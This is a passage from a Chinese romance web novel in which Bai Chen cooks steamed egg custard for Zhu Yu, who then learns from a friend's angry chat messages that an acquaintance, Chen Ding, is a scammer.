他的衣袖被挽到了手肘处,小臂上的青色脉络纹路明显,他带着透明的一次性手套,手指很修长,皮肉贴着指骨,骨感又漂亮,指甲也修得很干净,红色的番茄汁浸湿了他的指尖,手背,看上去莫名的色/气。 祝渝拿着葱又回到了柏沉身边。 “师哥,鸡蛋羹什么时候好呀?”祝渝一般这样问,就是真的饿得不行了。 柏沉脱下一次性手套,走去将透明的锅盖揭开,鸡蛋羹的香味扑面而来,祝渝趁机吸了吸鼻子。 “可以吃了。”柏沉用工具把鸡蛋羹端了出来,从祝渝手里接过洗净的香葱,在菜板上剁碎了几根洒在鸡蛋羹上面。 “你过来趁热吃了,厨房剩下的交给我。”柏沉端着鸡蛋羹往客厅走,祝渝低头踩着他的影子跟了上去。 刚刚在厨房没太注意,走出来祝渝听见他的手机一直响起消息提示音。 “有人给你发消息。”柏沉说。 在美食面前,祝渝永远不可能被其他的事物吸引走目光,“不急不急,我先吃一口鸡蛋羹再看。” 祝渝目光一直跟着柏沉手里的鸡蛋羹。 “好。”柏沉把鸡蛋羹摆在了茶几上。 刚撒上去的葱花已经被鸡蛋羹的热气蒸得半熟了,洒在表面的生抽已经浸了进去,香油浮在表层。 祝渝拿起勺子,“我吃啦?” “吃吧。” 柏沉轻轻颔首。 祝渝的手机又响起了消息通知的声音,亮了屏,柏沉瞥去眼角看了一眼。 他眼睛有点近视,并没有看清是谁发来的消息,不过他也没有要窥看是谁给祝渝发了消息的意思,他只是担心那个叫陈定的人重新编出新的理由骗祝渝。 现在厨房锅里煮着鸡胸肉,柏沉不急着去厨房做饭。 他坐在了沙发上,就在祝渝的右后侧。 鸡蛋羹被蒸得特别鲜嫩,生抽和鸡蛋羹混合,入口就在嘴里化开了,香葱和香油的味道充斥在口腔,没有喧宾夺主,鸡蛋的味道仍旧那么鲜美。 “师哥,真的太好吃啦!”祝渝说,“你拯救了一个即将饿死的留子。” “这么夸张?”柏沉被祝渝的话逗乐了。 祝渝回过头,“你可别不相信,还没遇到你的时候,我真的饿得都给自己写遗书了。” 说着像是提到了伤心事,祝渝还有一些难过,“因为我总觉得自己要饿死了。” “真的!我写了大概……十来封吧,有时间读给你听。”担心柏沉不信,祝渝就补充了这一句。 柏沉干咳一声:“倒,倒也不必吧……” 祝渝点头表示理解:“我明白,毕竟听人读遗书这事对你来说还是太超过了吧?” 他还要说什么,桌面的手机又响起了消息提示音,苹果的消息提示音格外吵,祝渝听得心烦,就拿过手机看了一眼。 就这一眼,他目光便黏在了消息界面。 是范舟发来的消息,先前陈定发了几条消息都被范舟的新消息盖住了。 【范舟:你怎么认识这个人的?】 【范舟:他**f**k***,*妈**王八蛋,死***骗我**,他**的两百英镑】 【范舟:祝渝,你**没被他骗吧?】 【范舟:祝渝,你怎么不我消息?我**怕啊!】 【范舟:你不会真被骗了吧?】 【范舟:你被骗了多少?】 【范舟:呸!可真**不要脸,骗了你的钱还让你给他做宣传海报,脸可真**的大】 【范舟:你别难过,咱先报警,这跑得了和尚跑不了庙】 【范舟:我还认识两个被他和他同伙骗了的人,咱几个结盟,找到这个人后狠狠治治他!!】 祝渝看得傻眼。 柏沉看着祝渝脸色不对,便弯下腰靠近了祝渝,问:“小鱼,怎么了?” 祝渝眸珠湿润,他仰起头看着柏沉,语气很意外:“师哥,陈定他……是骗子。”